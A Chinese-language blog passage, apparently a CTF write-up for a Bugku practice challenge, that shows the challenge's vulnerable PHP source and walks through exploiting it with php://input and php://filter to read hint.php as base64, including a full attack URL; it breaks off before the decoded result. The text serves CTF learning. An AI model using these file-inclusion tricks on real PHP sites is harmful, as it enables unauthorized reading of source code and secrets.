CTF/CTF练习平台-welcome to bugkuctf【php //filter及php //input】

本文介绍了CTF练习平台中的一道题目,涉及php://input和php://filter的利用。通过分析源码,发现可以利用php://filter读取hint.php内容,并通过Flag类的__toString方法以绕过flag关键词屏蔽,从而获取flag.php的内容。关键在于构造$password参数,使其成为Flag类的实例,确保文件名为flag.php。
摘要由CSDN通过智能技术生成
               

原题内容:

http://120.24.86.145:8006/test1/


首先bp一下,可见提示源码:

<!--  $user = $_GET["txt"];  $file = $_GET["file"];  $pass = $_GET["password"];    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){      echo "hello admin!<br>";      include($file); //hint.php  }else{      echo "you are not admin ! ";  }   -->  
首先,分析代码获取四个需求:

1.三个传参

2.$user存在且不为空,

3.读取$user文件,内容为welcome to the bugkuctf,

4.$file要求为hint.php,将其导入


其实比较熟悉就知道两个点可以利用了,php://input与php://filter

php不提了,之前的博客中讲解过,不懂得可以前去看一下

CTF/CTF练习平台-flag在index里【php://filter的利用】

这里讲一下php://input

当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取

这题的效果如下:


加上php://filter的利用,读取hint.php的内容

load url改为:

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
可得到base64加密的字符串:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值